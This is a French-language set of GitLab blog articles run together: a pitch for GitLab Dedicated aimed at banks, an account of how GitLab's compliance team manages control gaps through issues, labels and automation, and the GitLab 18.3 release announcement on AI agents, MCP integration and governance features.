Les logiciels utilisés par les institutions financières actuelles sont tout sauf ordinaires. Ils comprennent des modèles de risque de crédit qui protègent des milliards d'actifs, des algorithmes de traitement des paiements qui gèrent des millions de transactions, des plateformes d'intelligence client qui pilotent la stratégie commerciale, et des systèmes réglementaires qui garantissent la conformité opérationnelle. Le tout alimenté par un code source qui sert à la fois de cœur opérationnel et d'actif stratégique.

Quand l'infrastructure partagée devient un risque systémique

L'essor des plateformes SaaS (Software-as-a-Service) a créé une réalité inconfortable pour les institutions financières. Chaque locataire partagé devient un risque tiers non maîtrisé qui transforme les incidents à l'échelle de la plateforme en perturbations à l'échelle du secteur. C'est exactement ce type de risque de concentration qui attire de plus en plus l'attention des régulateurs.

Patrick Opet, Chief Information Security Officer de JPMorgan Chase, a récemment lancé un avertissement sévère au secteur dans une lettre ouverte adressée aux fournisseurs tiers. Il souligne que l'adoption du SaaS « crée une vulnérabilité substantielle qui affaiblit le système économique mondial » en intégrant « un risque de concentration dans les infrastructures critiques du monde entier ». La lettre fait remarquer qu'« une attaque contre un fournisseur majeur de SaaS ou de PaaS peut immédiatement se répercuter sur ses clients » et créer exactement le risque systémique que les plateformes cloud multi-locataires dédiées à la gestion du code source, aux compilations CI, aux déploiements CD et aux scans de sécurité introduisent.

Imaginez la complexité réglementaire que cela engendre. Dans des environnements partagés, votre posture de conformité est à la merci d'incidents potentiels qui touchent d'autres locataires ainsi que des risques de concentration des fournisseurs à grande surface d'attaque. Une mauvaise configuration affectant n'importe quelle organisation sur la plateforme peut avoir un impact plus large sur l'ensemble de l'écosystème.

Les défis liés à la souveraineté des données aggravent ce risque. Les plateformes partagées répartissent les charges de travail entre plusieurs régions et juridictions, souvent sans contrôle granulaire sur l'endroit où votre code source s'exécute. Pour les institutions soumises à des exigences réglementaires strictes, cette répartition géographique peut créer des lacunes en matière de conformité qui sont difficiles à combler.

À cela s'ajoute l'effet d'amplification. Chaque locataire partagé devient un risque tiers indirect pour vos opérations. Ses vulnérabilités augmentent votre surface d'attaque, ses incidents peuvent impacter votre disponibilité et ses compromissions peuvent affecter votre environnement.

Une plateforme conçue pour vos données les plus sensibles

GitLab reconnaît que votre code source mérite le même niveau de sécurité que vos données clients les plus sensibles. Plutôt que de vous forcer à choisir entre l'efficacité à l'échelle du cloud et la sécurité de votre entreprise, GitLab offre les deux grâce à GitLab Dedicated, une infrastructure spécialement conçue qui garantit une isolation complète.

Vos workflows de développement, vos dépôts de code source et vos pipelines CI/CD s'exécutent dans un environnement exclusivement dédié à votre organisation. Les runners hébergés sur GitLab Dedicated illustrent parfaitement cette approche. Ces runners se connectent de manière sécurisée à votre centre de données via des liens privés sortants, vous permettant d'accéder à vos services privés et de garantir que vos données ne soient pas exposées sur l'internet public. L'architecture de mise à l'échelle automatique fournit les performances dont vous avez besoin, sans compromettre la sécurité ni le contrôle.

Repenser le contrôle

Pour les institutions financières, minimiser les risques partagés n'est qu'une partie de l'équation. La véritable résilience nécessite un contrôle précis sur la façon dont les systèmes fonctionnent, évoluent et se conforment aux frameworks réglementaires. GitLab Dedicated assure une souveraineté complète des données à travers plusieurs niveaux de contrôle client. Vous conservez une autorité complète sur les clés de chiffrement grâce aux capacités BYOK (Bring Your Own Key), qui garantissent que le code source et les données de configuration sensibles restent accessibles uniquement à votre organisation. Même GitLab ne peut pas accéder à vos données chiffrées sans vos clés.

La résidence des données devient un choix plutôt qu'une contrainte. Vous pouvez sélectionner la région AWS de votre choix pour répondre aux exigences réglementaires et aux politiques de gouvernance des données de votre organisation, tout en conservant le contrôle total sur l'endroit où votre code source sensible et votre propriété intellectuelle sont stockés.

Ce contrôle s'étend aux frameworks de conformité requis par les institutions financières. La plateforme fournit des pistes d'audit complètes et des fonctionnalités de journalisation qui soutiennent les efforts de conformité aux réglementations des services financiers.

Si vous avez des questions de conformité, vous pouvez collaborer directement avec l'équipe d’assistance dédiée de GitLab, composée de professionnels expérimentés qui comprennent les défis réglementaires auxquels sont confrontées les organisations dans les secteurs hautement réglementés.

Excellence opérationnelle sans charge opérationnelle

GitLab Dedicated assure une haute disponibilité avec une reprise après sinistre intégrée qui garantit la résilience de vos opérations de développement même en cas de défaillance de l’infrastructure. Les ressources dédiées s’adaptent aux besoins de votre organisation et évitent les fluctuations de performances inhérentes aux environnements partagés.

L'approche zéro maintenance de l'infrastructure CI/CD élimine une charge opérationnelle importante. Vos équipes se concentrent sur le développement tandis que GitLab gère l'infrastructure sous-jacente, la mise à l'échelle automatique et la maintenance, y compris l'application rapide de correctifs de sécurité pour protéger votre propriété intellectuelle critique face aux menaces émergentes. Cette efficacité opérationnelle ne se fait pas au détriment de la sécurité : l'infrastructure dédiée offre des contrôles à l'échelle de l'entreprise et fournit des performances à l'échelle du cloud.

La réalité concurrentielle

Alors que certaines institutions débattent des stratégies d'infrastructure, les leaders du secteur prennent des mesures décisives. NatWest Group, l'une des plus grandes institutions financières du Royaume-Uni, a choisi GitLab Dedicated pour transformer ses capacités d'ingénierie :

« NatWest Group a adopté GitLab Dedicated pour permettre aux ingénieurs d'utiliser une plateforme d'ingénierie cloud commune, capable de fournir rapidement, fréquemment et en toute sécurité de nouveaux résultats aux clients grâce à des tests automatisés de haute qualité, une infrastructure à la demande et un déploiement direct. Cette nouvelle plateforme améliore considérablement la collaboration entre les équipes, augmente la productivité des développeurs et libère la créativité grâce à une interface unifiée pour le développement logiciel. » Adam Leggett, Platform Lead - Engineering Platforms, NatWest

Le choix stratégique

Les institutions financières les plus prospères font face à un défi unique : elles courent les plus grands risques en raison de leurs infrastructures partagées, mais elles disposent également des ressources nécessaires pour concevoir de meilleures solutions.

Pour les leaders du secteur, la question suivante est déterminante face à la concurrence : Accepterez-vous les risques liés aux infrastructures partagées comme le prix de la transformation numérique, ou investirez-vous dans une infrastructure qui accorde à votre code source l'importance stratégique qu'il mérite ?

Vos algorithmes de trading ne sont pas partagés. Vos modèles de risque ne sont pas partagés. Vos données clients ne sont pas partagées.

Pourquoi votre plateforme de développement est-elle partagée ?

Prêt à traiter votre code source comme un actif stratégique ? Discutons ensemble de la manière dont GitLab Dedicated fournit la sécurité, la conformité et les performances dont les institutions financières ont besoin, sans les compromis liés à une infrastructure partagée.

Chez GitLab, nous détectons ces écarts de conformité principalement lors de notre processus de surveillance trimestriel qui évalue systématiquement l'efficacité des contrôles de sécurité soutenant nos certifications (SOC 2, ISO 27001, etc.) ou lors d'audits externes par des évaluateurs indépendants. Au-delà des lacunes en matière de conformité, ils reflètent les risques de sécurité avérés, qui nécessitent l'application rapide de mesures correctives traçables.

Le processus de gestion des écarts de conformité se décompose en plusieurs étapes, depuis leur identification jusqu'à leur résolution complète, en passant par les mesures correctives. Dans cet article, découvrez comment l'équipe Security Compliance de GitLab s'appuie sur la plateforme DevSecOps pour gérer et remédier aux écarts de conformité, ainsi que les gains d'efficacité obtenus grâce à cette approche.

Le cycle de vie d'un écart de conformité chez GitLab

Ce cycle englobe l'ensemble du processus, de l'identification des écarts de conformité par l'équipe en charge de la conformité jusqu'à leur résolution complète par les responsables chargés de la remédiation. Ce cadre structuré permet un suivi transparent en temps réel, simple à comprendre par toutes les parties prenantes.

Il se compose des étapes suivantes :

1. Identification

• Les équipes responsables de la conformité identifient les éventuels écarts de conformité lors de la surveillance trimestrielle des contrôles de sécurité.
• Une validation initiale est effectuée pour confirmer la non-conformité.
• Dès cette étape, un ticket GitLab est créé avec une documentation détaillée.
• La cause profonde de l'écart de conformité est déterminée et un plan de remédiation est établi.

2. Validation

• Le ticket est attribué au responsable de la remédiation concerné (chef d'équipe ou manager).
• Ce dernier l'examine et confirme qu'il en accepte la propriété.
• Le plan de remédiation est examiné, priorisé et ajusté de manière collaborative, le cas échéant.

3. Mise en œuvre

• Les actions de remédiation commencent par la définition de jalons et d'échéances clairs.
• Des retours sont ajoutés directement dans le ticket GitLab et son statut est mis à jour.
• La collaboration s'effectue de manière transparente : toutes les parties prenantes peuvent suivre la progression du ticket.

4. Remédiation

• Le responsable de la remédiation exécute les actions correctives et les marquent comme terminées, tout en fournissant les preuves de leur mise en place.
• Le ticket passe à l'étape de revue de la conformité à des fins de validation.

5. Résolution

• L'équipe de conformité vérifie que tous les critères définis pour pouvoir clôturer le ticket sont respectés.
• Le ticket incluant une documentation complète est ensuite fermé.
• Les leçons tirées du cycle de l'écart de conformité sont consignées afin de prévenir des cas similaires à l'avenir.

Des processus alternatifs sont prévus pour les cas bloquants, les risques acceptés ou les retards, avec des workflows d'escalade adaptés. <center><i>Exemple de cycle de vie d'un écart de conformité</i></center>

La force de la transparence avec GitLab

Avec une gestion efficace des écarts de conformité, l'accès aux métadonnées de base, à savoir la propriété, le statut ou le niveau de priorité, ne doit demander aucun effort. Pourtant, dans de nombreuses entreprises, c'est exactement le contraire : les équipes de conformité doivent sans cesse relancer pour obtenir la moindre mise à jour, les équipes des opérations ignorent leurs responsabilités, et la direction manque de visibilité sur l'exposition réelle aux risques jusqu'au moment de l'audit.

L'équipe Security Compliance de GitLab a rencontré les mêmes difficultés. Elle a d'abord utilisé un outil GRC dédié comme source unique de vérité pour les écarts de conformité les plus critiques. Mais, faute de visibilité pour les principales parties prenantes, très peu de mesures de remédiation étaient effectivement mises en œuvre, car l'équipe passait la plupart de son temps sur des tâches administratives.

Nous avons finalement migré la gestion des écarts de conformité directement dans GitLab, à l'aide de tickets regroupés dans un projet dédié. Ainsi chaque écart de conformité devient un élément de travail visible et exploitable, naturellement intégré au workflow des équipes de développement et des opérations. Chaque contributeur peut identifier les sujets prioritaires, collaborer à l'élaboration des plans de remédiation et suivre les progrès en temps réel, favorisant ainsi une transparence et une responsabilisation que les outils traditionnels sont incapables d'offrir.

Une organisation intelligente avec les labels et les tableaux de tickets

GitLab permet de classer les tickets d'écarts de conformité en différentes vues et catégories pour une organisation flexible. L'équipe Security Compliance de GitLab organise ses tickets de la manière suivante :

• Workflow : ~workflow::identified, ~workflow::validated, ~workflow::in progress, ~workflow::remediated
• Équipe concernée : ~dept::engineering, ~dept::security, ~dept::product
• Gravité du risque : ~risk::critical, ~risk::high, ~risk::medium, ~risk::low
• Système impacté : ~system::gitlab, ~system::gcp, ~system::hr-systems
• Programme de conformité : ~program::soc2, ~program::iso, ~program::fedramp , ~program::pci

Ces labels permettent de créer des tableaux de tickets personnalisés :

• Les tableaux par workflow pour une vue claire des étapes du cycle de vie de chaque écart de conformité.
• Les tableaux par équipe pour visualiser la charge de travail de chaque équipe liée à la remédiation.
• Les tableaux par niveau de risque pour prioriser les écarts de conformité critiques nécessitant une action immédiate.
• Les tableaux par système pour regrouper les écart de conformité liés à un environnement ou une plateforme spécifique.
• Les tableaux par programme pour le suivi des tâches de remédiation en fonction des certifications associées.

Les labels permettent également de définir des filtres et de générer des rapports de façon optimale, tout en facilitant l'automatisation des workflows grâce aux politiques définies par notre bot de classement. Pour en savoir plus, consultez la section dédiée à l’automatisation.

La puissance de l'automatisation

Gérer des dizaines d'écarts de conformité liés à plusieurs certifications nécessite une automatisation intelligente. Notre équipe Security Compliance s'appuie pour cela sur le bot de classement par priorité, un projet open source hébergé sur GitLab. Ce bot, mis à disposition sous forme d'une gemme, permet de classer automatiquement les tickets au sein des projets ou groupes GitLab en fonction de politiques prédéfinies, et ainsi de les organiser de manière structurée. De cette façon, les parties prenantes peuvent concentrer leurs efforts sur la remédiation plutôt que sur la gestion administrative.

Notre projet dédié regroupe nos politiques d'automatisation alignées sur les bonnes pratiques : chaque ticket doit disposer d'un responsable assigné, il doit inclure les labels requis, il doit être mis à jour au moins tous les 30 jours, et les tickets bloqués ou en attente doivent être relancés tous les 90 jours. En outre, un ticket récapitulatif est généré chaque semaine : il répertorie tous les tickets qui ne respectent pas ces politiques. Les membres de l'équipe restent ainsi concentrés sur la remédiation en se libérant des tâches administratives.

Le potentiel des rapports et indicateurs de performance

Les données brutes issues des tickets GitLab offrent une source précieuse d'informations stratégiques. En analysant des métadonnées telles que les dates de création, de clôture, de dernière mise à jour ou encore les labels appliqués, les équipes dirigeantes peuvent en tirer des enseignements concrets pour optimiser la gestion des écarts de conformité. Voici les indicateurs clés pour évaluer l’efficacité de votre processus :

Analyse de l'efficacité de la remédiation : délai moyen entre l'identification et la résolution de l'écart de conformité, ventilé par équipe et niveau de gravité.

Comparez les dates de création et de clôture des tickets en fonction des équipes et du niveau de gravité pour identifier les goulots d'étranglement et évaluer la performance par rapport aux accords de niveau de service (SLA). Cette approche met en évidence les équipes les plus réactives, ainsi que celles qui ont besoin de ressources supplémentaires ou d'optimiser leur processus.

Évaluation du risque en temps réel : profil de risque actuel basé sur les écarts de conformité critiques exposant à des risques majeurs, et dont les tickets sont encore ouverts.

Tirez parti des labels de niveau de risque pour obtenir une vue instantanée du niveau actuel d'exposition aux risques de votre entreprise. De cette manière, vous identifiez immédiatement les écarts de conformité critiques nécessitant une attention immédiate.

Allocation stratégique des ressources : cartographie des risques par équipe pour orienter les efforts

Identifiez les équipes responsables de la remédiation des écarts de conformité les plus critiques afin de concentrer les ressources, de renforcer le suivi et de prioriser les projets. Cette approche fondée sur les données garantit un impact maximal.

Suivi de la préparation à la conformité : nombre d'écarts de conformité par certification et taux de résolution.

Utilisez les labels de certification pour évaluer le niveau de préparation aux audits et suivre la progression vers les objectifs de conformité. Cet indicateur permet d'anticiper les risques de non-conformité à une certification spécifique et valide l'efficacité des actions de remédiation.

Suivi de la responsabilisation : identification des remédiations en retard.

L'analyse des délais via les métadonnées des tickets permet de détecter les irrégularités par rapport aux SLA. Cet indicateur met en évidence les retards systémiques et favorise les interventions proactives avant qu'ils ne compromettent la sécurité ou la conformité.

Contrôle de l'engagement : mise à jour de l'état des écarts de conformité.

Suivez les mises à jour récentes (30 derniers jours) pour vous assurer que les écarts de conformité sont activement pris en charge. Cet indicateur identifie les tickets non traités qui peuvent nécessiter une réattribution ou une relance.

L'art de la gestion proactive

Voici comment amplifier l'impact de votre gestion des écarts de conformité :

Intégrer les outils de sécurité

La gestion moderne des écarts de conformité ne repose plus sur un suivi manuel ; elle s'intègre à votre infrastructure de sécurité en place. Configurez des scanners de détection des vulnérabilités et des outils de surveillance de la sécurité pour générer automatiquement des tickets pour vos écarts de conformité. Vous éliminez ainsi la saisie manuelle des données et garantissez une couverture complète.

Appliquer l'analyse prédictive

Les historiques d'écarts de conformité offrent une base solide de prévision lorsqu'elles sont correctement analysées. Tirez parti des schémas de remédiation antérieurs pour anticiper les délais et besoins en ressources, facilement planifier les projets et allouer les budgets. La reconnaissance de motifs récurrents parmi les types d'écarts de conformité révèle des vulnérabilités systémiques qui justifient la mise en place de contrôles préventifs et passer ainsi d'une gestion réactive à une gestion proactive des risques. Les systèmes avancées, combinant plusieurs sources de données, fournissent une priorisation fine des menaces via des algorithmes sophistiqués de notation des risques.

Adapter les processus aux parties prenantes

Les besoins varient selon les rôles. Des tableaux de bord basés sur les rôles offrent des vues personnalisées à chaque profil : les dirigeants tirent parti des synthèses stratégiques des risques critiques, les managers suivent la performance de leurs équipes et les contributeurs gèrent les écarts de conformité qui leur sont attribuées. Automatisez les systèmes de reporting pour qu'ils répondent aux différents besoins techniques et aux préférences de communication des utilisateurs (rapports détaillés ou briefings destinés à la direction, par exemple). Les capacités d'analyse en libre-service permettent aux parties prenantes d'effectuer des analyses ad hoc et de générer des informations personnalisées, et ce sans assistance ni expertise technique.

De la conformité à l'excellence opérationnelle

L'approche de GitLab en matière de gestion des écarts de conformité dépasse le simple changement d'outil. Elle permet en effet de passer d'une mise en conformité réactive à une atténuation proactive des risques. En brisant les silos entre les équipes de conformité et des opérations, elle offre une visibilité sans précédent tout en améliorant considérablement les résultats de la remédiation.

Les bénéfices sont mesurables : des délais de résolution raccourcis grâce à une responsabilisation claire, une collaboration active plutôt qu'une implication contrainte et une préparation continue aux audits sans charge de travail intense à la dernière minute. Les workflows automatisés libèrent du temps aux professionnels de la conformité, qui peuvent gérer des tâches stratégiques, tandis que l'exploitation de métadonnées riches alimentent des analyses prédictives favorisant une prévention proactive et non plus réactive.

Plus important encore, grâce à cette approche, la conformité n'est plus un fardeau, mais un catalyseur stratégique. Lorsque les écarts de conformité deviennent des éléments de travail visibles et traçables, intégrés aux workflows opérationnels, les entreprises renforcent leur culture de sécurité et instaurent des améliorations durables qui s'étendent au-delà de chaque cycle d'audit. Il en résulte non seulement une conformité réglementaire, mais aussi une résilience organisationnelle accrue et un avantage concurrentiel fondé sur une gestion optimale des risques.

Pour en savoir plus sur les pratiques de conformité liées aux contrôles de sécurité de GitLab, consultez la section Security Compliance de notre manuel enrichie de conseils pratiques pour la mise en œuvre.

Cette transformation s'opère à trois niveaux distincts qui vont au-delà de ce que proposent les autres outils de développement IA :

Premièrement, nous sommes un système pour l'enregistrement. Notre plateforme de données unifiée contient vos actifs numériques les plus précieux, comme votre code source et votre propriété intellectuelle, ainsi qu'une large quantité de données non structurées de vos projets, des backlogs de bugs, des configurations CI/CD, des historiques de déploiement, des rapports de sécurité et des données de conformité. Ces données contextuelles d'une valeur inestimable sont en sécurité dans votre environnement GitLab et ne sont pas accessibles aux agents génériques ni aux grands modèles de langage (LLM).

Deuxièmement, nous agissons comme votre plan de contrôle logiciel. Nous orchestrons vos processus métier critiques via des dépôts Git, des API REST et des interfaces basées sur des webhooks qui alimentent votre livraison logicielle de bout en bout. Pour nombre de nos clients, il s'agit d'une dépendance de niveau 0 sur laquelle leurs processus métier critiques s'appuient quotidiennement.

Troisièmement, nous offrons une expérience utilisateur puissante. Nous proposons une interface intégrée qui élimine les changements de contexte coûteux qui ralentissent la plupart des équipes d'ingénierie. Plus de 50 millions d'utilisateurs enregistrés et notre vaste communauté dépendent de GitLab pour accomplir leur travail, et ils profitent d'une visibilité complète du cycle de vie et des outils de collaboration sur une seule plateforme. Forte de cette expertise, GitLab occupe une position de pionnière unique dans la collaboration intuitive humain-IA qui amplifie la productivité des équipes tout en préservant les workflows que nos utilisateurs connaissent et auxquels ils font confiance.

Extension de notre plateforme avec l'IA native intégrée à chaque niveau

GitLab Duo Agent Platform intègre et étend ces trois niveaux. Conçue pour l'extensibilité et l'interopérabilité, elle permet aux clients et partenaires de créer des solutions qui génèrent encore plus de valeur. Notre approche de plateforme ouverte met l'accent sur une connectivité transparente avec les outils et systèmes IA externes tout en garantissant une intégration à notre pile existante aux trois niveaux.

• Tout d'abord, nous étendons notre plateforme de données unifiée avec un graphique de connaissances optimisé pour l'accès agentique qui indexe et relie le code avec toutes vos autres données non structurées. L'IA est friande de contexte, et nous sommes persuadés que cette approche accélérera non seulement le raisonnement et l'inférence par les agents, mais fournira également des résultats agentiques plus économiques et de meilleure qualité.
• Ensuite, nous ajoutons une couche d'orchestration importante en trois parties distinctes à notre plan de contrôle existant : elle permet aux agents et aux flows de s'enregistrer comme abonnés aux événements SDLC GitLab, construit un nouveau moteur d'orchestration pour les flows multi-agents conçus sur mesure et expose les outils, agents et flows GitLab via Model Context Protocol (MCP) et des protocoles standards pour une interopérabilité sans précédent.
• Enfin, nous étendons l'expérience GitLab pour offrir des agents et des flows d'agents de premier plan à travers tout le cycle de développement logiciel. Vous pourrez assigner des tâches asynchrones aux agents, les mentionner dans les commentaires et créer des agents personnalisés avec un contexte spécifique à vos workflows. Mais plus important encore, GitLab livre des agents natifs pour chaque étape du développement et propose un riche écosystème d'agents tiers. Cette approche crée une véritable collaboration humain-IA où vous pourrez travailler avec les agents IA aussi naturellement qu'avec vos collègues.

Découvrez en vidéo les nouveautés de la version 18.3 ou poursuivez votre lecture.

<div style="padding:75% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/1111796316?badge=0&autopause=0&player_id=0&app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerpolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="GitLab_18.3 Release_081925_MP_v1"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script>

Nouveautés de GitLab 18.3

La version 18.2 a introduit des agents IA spécialisés qui travaillent aux côtés des équipes de développement tout au long du cycle de développement logiciel, ainsi que notre Software Development Flow, une fonctionnalité puissante qui donne aux utilisateurs la capacité d'orchestrer plusieurs agents pour planifier, implémenter et tester des changements de code de bout en bout.

GitLab 18.3 introduit des intégrations et une interopérabilité étendues, davantage de Flows, et une conscience contextuelle améliorée sur tout le cycle de développement logiciel.

Extension des intégrations et de l'interopérabilité

Nous offrons une extensibilité IA complète grâce aux agents GitLab de première partie et à un riche écosystème d'agents tiers avec un accès complet au contexte et aux données du projet. Cette approche maintient les workflows natifs et la gouvernance de GitLab et garantit une flexibilité dans le choix de vos outils préférés grâce à une orchestration hautement intégrée entre ces agents et la plateforme centrale de GitLab. Les équipes bénéficient de fonctionnalités IA améliorées, mais conservent leurs avantages clés d'intégration, de supervision et d'expérience utilisateur.

• Serveur MCP – intégration IA universelle : le serveur (MCP) de GitLab permet aux systèmes IA de s'intégrer en toute sécurité directement avec vos projets GitLab et vos processus de développement. Cette interface standardisée élimine le besoin d'intégrations personnalisées supplémentaires et permet à vos outils IA, y compris Cursor, de fonctionner intelligemment dans votre environnement GitLab existant. Consultez notre documentation pour obtenir une liste complète des outils inclus avec la version 18.3. Des outils supplémentaires sont prévus pour la version 18.4.

« Intégrer les workflow GitLab directement dans Cursor est une étape cruciale afin de réduire les frictions pour les équipes de développement. Si nous réduisons le besoin de changer de contexte, les équipes peuvent vérifier le statut des tickets, examiner les merge requests et surveiller les résultats des pipelines sans jamais quitter leur environnement de développement. Cette intégration est un ajustement naturel pour nos clients partagés, et nous nous réjouissons d'un partenariat à long terme avec GitLab pour continuer à améliorer la productivité de nos équipes. »

- Ricky Doar, VP of Field Engineering chez Cursor

« Le serveur MCP et l'assistance des agents de GitLab CLI créent de nouvelles façons puissantes pour Amazon Q de s'intégrer aux workflow de développement. Amazon Q Developer peut maintenant se connecter directement via l'interface MCP distante de GitLab, tandis que les équipes peuvent déléguer des tâches de développement en mentionnant simplement Amazon Q CLI dans les tickets et les merge requests. Les capacités robustes de sécurité et de gouvernance intégrées dans ces intégrations donnent aux entreprises la confiance nécessaire pour tirer parti des outils de codage IA tout en préservant leurs normes de développement. Notre partenariat avec GitLab démontre l'engagement continu d'AWS à étendre notre écosystème IA et à rendre les outils de développement intelligents accessibles partout où les développeurs travaillent. »

- Deepak Singh, Vice President of Developer Agents and Experiences chez AWS

• Assistance des agents de GitLab CLI pour Claude Code, Codex, Amazon Q, Google Gemini et opencode (Bring Your Own Key) : la version 18.3 introduit des intégrations qui permettent aux équipes de déléguer des tâches de routine en mentionnant leurs agents directement dans les tickets ou les merge requests. Dès que ces assistants IA sont mentionnés, ils lisent automatiquement le contexte environnant et le code du dépôt, puis répondent au commentaire de l'utilisateur en proposant des changements de code prêts à être examinés ou des commentaires inline. Ces intégrations requièrent l'utilisation de votre propre clé API pour les fournisseurs IA respectifs, conservent toutes les interactions en mode natif dans l'interface de GitLab et maintiennent les permissions appropriées et les pistes d'audit.

  Remarque : les agents tiers font partie de la version bêta GitLab Premium et ne sont disponibles que pour les clients GitLab Duo Enterprise à des fins d'évaluation.

<div style="padding:56.25% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/1111784124?badge=0&autopause=0&player_id=0&app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerpolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="Third Party Agents Flows Claude Code"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script>

« L'intégration de Claude Code directement dans GitLab est une assistance IA disponible là où des millions de développeurs collaborent déjà et livrent du code au quotidien. En mentionnant Claude directement dans les tickets et les merge requests, il est possible d'éliminer les obstacles et de maintenir la qualité avec une supervision humaine et des processus de révision. Cette mise à jour permet de tirer profit des capacités de Claude Code dans davantage de contextes où les équipes travaillent et transforme l'IA en un composant naturel de leur workflow de développement. »

- Cat Wu, Claude Code Product Lead, Anthropic

« Avec la nouvelle intégration d'agents de GitLab dans la version 18.3, vous pouvez utiliser opencode dans vos workflow existants. Il vous suffit de mentionner opencode dans un ticket ou une merge request, et il exécutera votre agent directement dans votre pipeline CI. Cette liberté dans la configuration et l'exécution d'opencode est le type d'intégration que la communauté open source apprécie vraiment. »

- Jay V., CEO, opencode

• Assistance Agentic Chat pour l'IDE de Visual Studio et l'interface utilisateur GitLab disponible pour tous les clients GitLab Premium et Ultimate : avec la version 18.3, vous n'avez plus besoin de changer de contexte entre les outils pour accéder aux données complètes du cycle de vie de développement de GitLab. Nos intégrations améliorées injectent toute la puissance de GitLab Duo dans l'interface utilisateur GitLab ainsi que dans les IDE, et l'assistance inclut désormais Visual Studio en plus de JetBrains et VS Code. Cette nouveauté aide les développeurs à rester concentrés et à accéder au contexte détaillé du projet, à l'historique de déploiement et aux données de collaboration d'équipe directement dans leur environnement préféré.
• Assistance étendue des modèles IA : GitLab Duo Self-Hosted prend maintenant en charge des modèles IA supplémentaires afin d'offrir aux équipes plus de flexibilité dans leurs workflows de développement assistés par l'IA. Vous pouvez maintenant déployer des modèles OpenAI GPT open source (20B et 120B de paramètres) via vLLM sur votre matériel de centre de données ou via des services cloud comme Azure OpenAI et AWS Bedrock dans votre cloud privé. De plus, Claude 4 d'Anthropic est disponible sur AWS Bedrock.

Nouveaux Flows de développement automatisés

GitLab Flows coordonne plusieurs agents IA avec des instructions prédéfinies pour gérer de manière autonome ces tâches chronophages et routinières afin que les équipes de développement puissent se concentrer sur le cœur de leur travail.

GitLab 18.3 possède deux nouveaux Flows :

• Flow Issue-to-MR (génération de code automatisée du concept à la complétion en quelques minutes) : ce Flow convertit automatiquement les tickets en merge requests (MR) exploitables en coordonnant des agents pour analyser les exigences, préparer des plans de mise en œuvre complets et générer du code de qualité prêt pour une revue. Vous pouvez ainsi mettre en œuvre des idées en quelques minutes au lieu de plusieurs heures.

<div style="padding:75% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/1111782058?badge=0&autopause=0&player_id=0&app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerpolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="Issue to MR"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script>

• Flow de conversion de fichier CI (intelligence de migration transparente) : notre Flow de conversion de fichier CI rationalise les workflow de migration en demandant aux agents d'analyser les configurations CI/CD existantes et de les convertir intelligemment au format GitLab CI avec une compatibilité complète au pipeline. Ce Flow élimine les efforts manuels et les erreurs potentielles de réécriture des configurations CI, et il aide les équipes à migrer des pipelines de déploiement entiers en toute confiance. La version 18.3 inclut une assistance pour les migrations Jenkins. Une assistance supplémentaire est prévue dans les futures versions.

<div style="padding:56.25% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/1111783724?badge=0&autopause=0&player_id=0&app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerpolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="Convert to CI Flow"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script>

Code et recherche intelligents

Les solutions ponctuelles d'IA fonctionnent généralement avec une visibilité limitée sur des extraits de code isolés, mais le graphique de connaissances de GitLab fournit aux agents un contexte d'environnement pour garantir des réponses plus rapides et plus intelligentes.

• Graphique de connaissances (intelligence de code en temps réel) : dans la version 18.3, le graphique de connaissances de GitLab offre désormais une indexation de code en temps réel pour des recherches de code plus rapides ainsi que des résultats plus précis en contexte. Nos agents comprennent les relations entre les fichiers, les dépendances et les modèles de développement de l'ensemble de votre code source et sont conçus pour fournir des informations que les développeurs humains mettraient des heures à trouver. Et ce n'est que la première étape, nous prévoyons de continuer à étendre les puissantes fonctionnalités du graphique de connaissances.

Gouvernance d'entreprise

La transparence de l'IA et le contrôle applicable à l'entreprise sont des défis majeurs qui freinent l'adoption des outils de développement alimentés par l'IA : 85 % des dirigeants s'accordent à dire que l'IA agentique créera des défis de sécurité sans précédent.

Les nouvelles fonctionnalités de la version 18.3 visent à répondre aux préoccupations concernant la gouvernance des données, les exigences en matière de conformité et le besoin de visibilité dans les processus de prise de décision de l'IA afin que les entreprises puissent intégrer l'IA dans leurs frameworks de sécurité et de stratégies existants.

• Agent Insights (transparence par l'intelligence) : notre suivi d'agents intégré offre une visibilité sur les processus de prise de décision des agents. Les utilisateurs peuvent optimiser les workflow et suivre les meilleures pratiques grâce à un suivi transparent.

<div style="padding:56.25% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/1111783244?badge=0&autopause=0&player_id=0&app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerpolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="Agent Insights"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script> <p></p>

• GitLab Duo Code Review pour GitLab Self-Hosted : dédiée aux organisations avec des exigences strictes de gouvernance des données, cette fonctionnalité permet aux équipes d'utiliser l'intelligence de GitLab Duo tout en gardant le code sensible dans des environnements contrôlés.
• Configurations de modèles hybrides pour un déploiement IA flexible : les clients GitLab Duo Self-Hosted peuvent maintenant utiliser des configurations de modèles hybrides et combiner des modèles IA auto-hébergés via leur passerelle IA locale avec les modèles cloud de GitLab via la passerelle IA de GitLab afin d'accéder à diverses fonctionnalités.

